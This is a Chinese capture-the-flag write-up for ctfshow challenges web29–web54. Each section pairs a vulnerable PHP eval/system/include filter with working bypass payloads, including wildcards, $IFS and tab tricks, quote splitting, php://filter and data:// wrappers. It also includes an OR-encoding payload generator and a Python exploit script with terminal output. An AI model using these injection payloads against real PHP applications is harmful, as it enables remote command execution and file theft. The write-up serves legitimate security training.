web29
命令执行,需要严格的过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
preg_match()
函数用于执行一个正则表达式匹配。/i
意味着不分大小写。本句含义是不能用flag
值且忽略了大小写。
方法一:通配符
我首先就想到直接使用通配符构造
/?c=echo system('cat f*');
#或者/?c=system('nl fl?ag.php');
什么都看不到没关系,打开源代码就看到了!
$flag = 'ctfshow{36e9edd3-f9b6-44c2-ab26-73fcc32e981b}';
#hint给出的payload:
/?c=system('nl fl?g.php');
nl是Linux系统命令,功能和cat一样,但是能额外显示行号;
方法二:输出到文件
/?c=phpinfo(); #输出版本号,查看disable_functions
/?c=print_r(scandir("."));
/?c=system("cat *php >>1.txt"); #输出到1.txt文件
/1.txt
方法三:POST传参
方法四:eval()+include结合伪协议进行包含读取
传入:==?c=echo ''?><?php system('ls');==
可以看到有 flag.php文件,之后采用include结合伪协议进行包含读取:
payload:/?c=echo ''?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php
方法五:反引号妙用
payload:/?c=system("cat fl``ag.php");
能够代替cat的还有:tac|more|less|curl|nl|tail|sort|strings
web30
命令执行,需要严格的过滤 <!--实际上到web56都是这句话-->
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以看到过滤了flag
、system
和php
,且大小写无法绕过:
方法一:通配符绕过+系统执行
本题依然可以使用上面的方法这里构造一个 payload:(反引号执行系统命令)
payload:/?c=echo `cat f*`;
#或者 /?c=echo`cat ????.??? >> 1.txt`;
得到 flag:==ctfshow{40bbd3f1-e879-4486-8aac-6770d013e050}==
方法二:eval()+include结合伪协议进行包含读取
/?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
这个办法我感觉没有上面的优雅,但是掌握总是好的,万一以后用得上呢!!
方法三:hint:用''隔断字符
echo `nl fl''ag.p''hp`;
POST传参也可以,同web29
web31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag
,system
,php
,cat
,sort
,shell
,空格
,单引号'
还有句号.
回头总结下这方面的。
空格过滤:
%09 符号需要php环境
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
cat过滤:
more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件> 指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)
解法一:直接使用对应的绕过方法
/?c=echo(`tac%09f*`);
解法二:include结合伪协议进行包含读取
/?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web32
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag
,system
,php
,cat
,sort
,shell
,echo
,分号
,空格
,单引号
,括号
,反引号
,.
等
使用php伪协议进行包含:
/?c=include"$_GET[hack]"?>&hack=php://filter/read=convert.base64-encode/resource=flag.php
web33
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了单双引号,直接用数组作为参数即可绕过。
/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Hint
/?c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web34
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
把冒号给禁掉了,不过不影响,和上面一摸一样:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web35
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了一个<符号,无妨继续:
/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又过滤掉了数字,将数字1
改成字母就行了!!!
/?c=include$_GET[hack]?>&hack=php://filter/read=convert.base64-encode/resource=flag.php
web37
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
include 文件包含漏洞,可以利用 data 伪协议来读取 flag:
data://
可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
/?c=data://text/plain,<?php system("cat f*");
然后查看网页源代码即可!
Hint
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
data://text/plain;base64,<?php system('cat flag.php');?>
查看源代码 或者通过包含日志文件拿shell
web38
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
文件包含,用上面的就行但是过滤掉了php,使用base编码绕过:
# /?c=data://text/plain;<?php system("cat f*");
/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs=
查看源代码,得到flag!
Hint
nginx的日志文件/var/log/nginx/access.log
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码 或者通过包含日志文件拿shell
web39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
虽然这里限制了后缀,但是对我们并不影响,因为我们将 php 语句闭合了以后,拼接的.php
就以文本形式显示。
/?c=data://text/plain,<?php system("cat f*")?>
Hint
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以看到几乎全部的符号都被过滤了,我只能看到(
和)
似乎没过滤,但是确实不知道怎么做,看一下提示:
使用的是无参数函数,先去了解一下这个是啥:
先打印目录文件
print_r(scandir(current(localeconv())))
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
next(array_reverse())得到flag
show_source(next(array_reverse(scandir(current(localeconv())))));
得到flag。
Hint
show_source(next(array_reverse(scandir(pos(localeconv())))));
web41
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
过滤了字符串、数字还有很多的符号,但是没有过滤|
,'
等符号,先使用脚本查看一下ascii字符中我们可以使用的字符,这里直接使用羽师傅的脚本:
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
运行完脚本会自动生成一个文件rce_or.txt
,里面有可以使用的字符串
利用这些字符串构造payload就行了,比较麻烦,这里使用yu师傅的脚本
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
┌──(kali㉿kali)-[~]
└─$ mkdir temp
┌──(kali㉿kali)-[~]
└─$ cd tmep
cd: no such file or directory: tmep
┌──(kali㉿kali)-[~]
└─$ cd temp
┌──(kali㉿kali)-[~/temp]
└─$ vim rce_or.php
┌──(kali㉿kali)-[~/temp]
└─$ vim exp.py
┌──(kali㉿kali)-[~/temp]
└─$ python exp.py http://4836d409-74ea-4387-8389-9def83e6e7db.challenge.ctf.show/
[+] your function:system
[+] your command:ls
[*] result:
flag.php
index.php
index.php
[+] your function:system
[+] your command:cat flag.php
[*] result:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:33:10
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
$flag="ctfshow{378670d5-a7aa-4bf4-8bec-eca4a51c83c5}";
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
将标准输出和标准输入都扔到到/dev/null中
重定向符号
- 0表示键盘输入
- 1表示屏幕输出
- 2表示错误输出
2>&1
意思是把标准错误输出重定向到标准输出,意思是把标准输出和标准错误输出都重定向到同一文件中。
为了不让后面的代码生效,需要截断命令,使用'
、,
、;
%0a
、%26
、|
等都可以。
payload:/?c=cat flag.php;
Hint
cat flag.php%0a 查看源代码
web43
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
还是重定向,过滤了;
和cat
payload:/?c=tac f*%0a
$flag="ctfshow{97ebb602-c1e4-435e-a416-d389c47f9d3a}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*
Hint
nl flag.php%0a 查看源代码
web44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
又过滤了flag
,但是毫无影响,继续:
payload:/?c=tac f*%0a
Hint
nl fla*.php%0a 查看源代码
web45
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
把空格过滤掉了:
payload:/?c=tac%09f*%0a
$flag="ctfshow{6d550ade-7201-4faf-a438-f7bd1c276f94}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*
$IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space,tab, newline 即空格,制表符,空行来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。直接用$IFS的话,会认为解析没结束,会把后面的也当做参数解析,比如cat$IFSflag.php,会把IFSflag一起当变量解析。这时候需要在$IFS后面进行截断,使解析为空,结束 $IFS,正常执行后面的内容。
Hint
echo$IFS`tac$IFS*`%0A
web46
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了数字还有通配符
payload:/?c=tac%09fla?.php%0a
$flag="ctfshow{a07543fe-fc34-4be7-a81e-8d832348b2b9}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*
Hint
nl<fla''g.php||
web47
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了很多,但是上一题的payload还可以用:
/?c=tac%09fla?.php%0a
Hint
nl<fla''g.php||
web48
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
还是上一把的payload:
/?c=tac%09fla?.php%0a
$flag="ctfshow{660fce57-757f-4e33-bb7e-a972a40ca0d7}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*
Hint
nl<fla''g.php||
web49
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
/?c=tac%09fla?.php%0a
下一题!
$flag="ctfshow{cc72b2c2-67dc-40da-85e2-0162238014f3}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*
Hint
nl<fla''g.php||
web50
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
继续一把梭就,woc,过滤了%09
,裂开了。
payload:/?c=tac<fla''g.php||
$flag="ctfshow{b0ed4e9a-e7eb-44bb-9872-47efa6657b69}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*
Hint
nl<fla''g.php||
web51
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了tac,用nl:
payload:/?c=nl<>fla''g.php||
查看源代码得到flag:
1 <?php
2
3 /*
4 # -*- coding: utf-8 -*-
5 # @Author: h1xa
6 # @Date: 2020-09-05 20:49:44
7 # @Last Modified by: h1xa
8 # @Last Modified time: 2020-09-05 20:49:53
9 # @email: h1xa@ctfer.com
10 # @link: https://ctfer.com
11
12 */
13
14
15 $flag="ctfshow{250ebbae-1984-4217-a620-4d7ba51a90bf}";
Hint
nl<fla''g.php||
web52
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了<
和>
,但是放出来了$
payload:/?c=nl${IFS}fla%27%27g.php||
查看源代码:
1 <?php
2
3 /*
4 # -*- coding: utf-8 -*-
5 # @Author: h1xa
6 # @Date: 2020-09-05 20:49:44
7 # @Last Modified by: h1xa
8 # @Last Modified time: 2020-09-05 20:49:53
9 # @email: h1xa@ctfer.com
10 # @link: https://ctfer.com
11
12 */
13
14
15 $flag="flag_here";
试都不用试就知道不对劲了,查看目录:
/?c=ls${IFS}../../../../||
bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
看到这里有一个flag,访问:
nl$IFS../../../../fla''g||
1 ctfshow{e058648b-a649-4b60-a9af-e913eb9b6777}
Hint
nl$IFS/fla''g||
web53
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
直接将c放到system
里去了,那就试试:
payload:/?c=nl${IFS}fl''ag.php
成功!!!
nl${IFS}fl''ag.php 1 15 $flag="ctfshow{78419578-78c5-442f-bb38-00fb7b34bd38}";
Hint
c''at${IFS}fla''g.p''hp
web54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
题目开始疯狂使用通配符,裂开了要!!!看了师傅们的wp是将文件重命名了!
payload:/?c=mv${IFS}fla?.php${IFS}a.txt
/a.txt
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-07 19:40:53
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$flag="ctfshow{d853cbde-26be-4c52-b99c-3feb43fc0850}";
Hint
/bin/?at${IFS}f???????
别的思路
看到别的师傅这里使用了另一种解法:
/?c=grep${IFS}show${IFS}fl?g.php